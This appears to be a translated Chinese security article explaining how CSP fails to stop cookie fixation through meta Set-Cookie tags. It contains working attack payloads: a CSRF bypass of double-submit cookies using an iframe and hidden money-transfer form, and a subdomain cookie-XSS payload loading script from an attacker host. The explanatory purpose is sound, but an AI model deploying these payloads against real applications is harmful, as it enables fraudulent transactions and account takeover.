CSP flaws: cookie fixation

[[182419]]

前言

我们知道，CSP不会阻止 这样的标签。因此，对于含有XSS漏洞的页面来说，即使提供了CSP保护，攻击者仍然可以通过写入Cookie来发动攻击。 下面，我们来考察一些与Cookie篡改漏洞有关的例子。

双重提交Cookie示例

双重提交cookie是一些应用程序和框架用于处理CSRF的技术。这意味着所有表单都必须包含一个在cookie中设置的令牌。 如果在表单中发送的令牌与cookie中的令牌不同，则请求被丢弃。 这种技术被OWASP推荐为基于会话的令牌的替代方案。

在伪代码中它可能看起来像这样：

//User sent the form 
if(isset($_POST['submit'])){ 
         if($_POST['token'] == $_COOKIE['token']){ 
                  //Accept the form 
         }else{ 
                  echo "CSRF ATTACK DETECTED"; 
                  exit(); 
         } 
} 

没有CSP的时候，如果应用程序含有XSS漏洞，那么攻击者就可以使用脚本来填写并提交他们想要攻击的任何表单：

<script> 
document.getElementById('sendmoneyto').value = 'Mathias'; 
document.getElementById('form').submit(); 
</script> 

使用CSP后，我们就可以(通过使用随机数或限制内联脚本)避免这种情况了。然而，攻击者可以使用以下payload来实现同样的事情：

<meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore"> 

然后，在攻击者的网站上：

<script> 
function submitForm(){ 
  document.forms[0].submit(); 
} 
</script> 
<iframe src='http://targetapplication/vulnerabletoxss?parameter=<meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">' onload="submitForm()"></iframe> 
<form action="http://targetapplication/targetform" method="POST"> 
<input type="hidden" name="token" value="NotSoSecretAnyMore" /> 
<input type="hidden" name="sendmoneyto" value="Mathias" /> 
</form> 

因为攻击者能够改写令牌，所以他们可以在其页面上的表单中使用新令牌，从而绕过CSRF保护措施。

双会话示例

现实中，使用多个会话Cookie的应用程序是非常少见的。例如，主应用程序使用一个会话Cookie，而“次应用程序”使用另一个会话Cookie。

如果攻击者可以篡改cookie，他们就可以让受害者在主应用程序中使用攻击者的会话cookie。这样的话，就可以让受害者在主应用程序中以攻击者身份登录，而在次应用程序中以受害者身份登录。

如果应用程序从主应用程序提取送货数据，那么受害人在次应用程序中购买的产品就会被发往攻击者的地址。

子域cookie XSS示例

如果子域中存在cookie XSS漏洞，攻击者可以使用cookie篡改漏洞来设置XSS cookie，然后重定向到易受攻击的页面：

<meta http-equiv="Set-Cookie" content="vulnerableCookie=<script src=//attackers/page.js>"> 
<meta http-equiv="refresh" content="0;URL=http://othersubdomain.vulnerable/page_vulnerable_to_cookie_xss"> 

结论

虽然许多客户端漏洞都可以通过CSP进行缓解，但是Cookie篡改仍然会导致一些安全问题，因为它对于这种漏洞根本不起作用。当开发使用CSP和cookie的应用程序时，一定要注意各种类型攻击的不同之处。